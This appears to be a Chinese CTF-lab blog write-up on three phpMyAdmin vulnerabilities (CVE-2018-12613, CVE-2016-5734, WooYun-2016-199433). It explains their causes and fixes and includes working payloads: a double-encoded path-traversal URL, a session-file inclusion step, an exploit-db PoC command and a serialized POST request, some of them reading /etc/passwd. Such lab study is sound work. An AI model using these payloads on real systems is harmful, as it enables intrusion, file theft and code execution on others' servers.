一、简介
phpMyAdmin 是一个用PHP编写的免费软件工具,可以通过 Web对Mysql进行管理,它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等。说白了就是一个mysql管理工具。
版本对应关系
截止到2021年7月3日,最新版目前已经更新到 phpMyAdmin 5.1.1
phpMyAdmin4.9.0当前版本兼容PHP5.5至7.3和MySQL5.5及更新版本。
phpMyAdmin4.8.0,兼容PHP5.5至7.2和MySQL5.5及更新版本。
phpMyAdmin4.6.0-4.7.0,兼容PHP5.5至7.1和MySQL5.5及更新版本。
phpMyAdmin4.5.0,兼容PHP5.5到7.0和MySQL5.5。
phpMyAdmin4.4.0,兼容PHP5.3.7到7.0和MySQL5.5。
phpMyAdmin4.1.0-4.3.0,兼容PHP5.3和MySQL5.5。
phpMyAdmin4.0.0与PHP5.2和MySQL5兼容。不支持PHP5.5或更新版本。
二、漏洞利用
(一)远程文件包含漏洞(CVE-2018-12613)
1、影响版本
phpmyadmin 4.8.0
phpmyadmin 4.8.1
2、漏洞原理
phpmyadmin 4.8.1 版本 index.php的 50-63行代码:
$target_blacklist = array ( 'import.php', 'export.php' ); // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
满足以下5个条件后就会include$_REQUEST['target']
的内容:
$_REQUEST['target']
不为空
$_REQUEST['target']
是字符串
$_REQUEST['target']
不以index开头
$_REQUEST['target']
不在$target_blacklist中即target 参数不是 import.php 或 export.php。
Core::checkPageValidity($_REQUEST['target'])
为真
找到Core::checkPageValidity方法
在libraries\classes\Core.php 中的443-476行代码:
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
问题出现在了 urldecode()
我们可以利用这个函数绕过白名单检测!
我们把 ?
url编码为 %253f 即可绕过验证!
例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f
,又一次url解码后变成了db_datadict.php?
,这次便符合了?
前内容在白名单的要求,函数返回true。
但在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f
,而且会被include,通过目录穿越,就可造成任意文件包含。
3、漏洞复现
这里我们使用 buuctf靶场中real类的 [PHPMYADMIN]CVE-2018-12613 做演示。
这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。(buuctf靶场的话直接登录就可以)
访问http://your-ip:8080/index.php?target=db\u sql.php%253f/../../../../../../../../../etc/passwd
,结果表明存在文件包含漏洞:
我们可以执行SELECT '<?=phpinfo()?>';
(前提是已经将'<?=phpinfo()?>'
写入到了数据库中), 然后检查sessionid(cookie中phpMyAdmin的值),然后包括会话文件。
phpMyAdmin=01f61e5e23d4444df4b66b027652f750;
payload:
得到flag:flag{b4d37768-9fca-4d17-b13c-befa563a1c5c}
同理,也可以写入木马,进行连接获得shell。
4、解决方案
将phpmyadmin 更新为4.8.1以上的版本。
(二)远程代码执行漏洞(CVE-2016-5734)
1、影响版本
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
2、漏洞复现
同样使用buuctf靶场中real类的 [PHPMYADMIN]CVE-2016-5734 做演示
该漏洞利用需要登录,且能够写入数据。
这里,我们使用POC https://www.exploit-db.com/exploits/40185/来复现漏洞。
python 40185.py -c 'system(env);' -u root -p root -d test http://your-ip:8080/
-
- -c是待执行的PHP语句
- -d是已经可以写的数据库,如果没有指定表名,这个POC会创建一个名为
prgpwn
的表。
通过system(env)打印环境变量获得flag,同理可以修改env 为其他命令来执行。
获得flag:flag{a3ed9546-8500-462b-b2a7-0ed2d3f61da8}
(三)反序列化漏洞(WooYun-2016-199433)
1、影响版本
phpmyadmin 2.x
2、漏洞复现
使用 burpsuite发送如下数据包,即可读取/etc/passwd文件
POST /scripts/setup.php HTTP/1.1 Host: node4.buuoj.cn:27850 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 82 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
参考文章
- https://www.cnblogs.com/leixiao-/p/10265150.html#autoid-1-0-0
- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
- https://www.phpmyadmin.net/security/PMASA-2018-4/
- https://rj45mp.github.io/phpMyAdmin-WooYun-2016-199433/
- https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html
来源:freebuf.com 2021-07-04 22:12:47 by: comet2020
请登录后发表评论
注册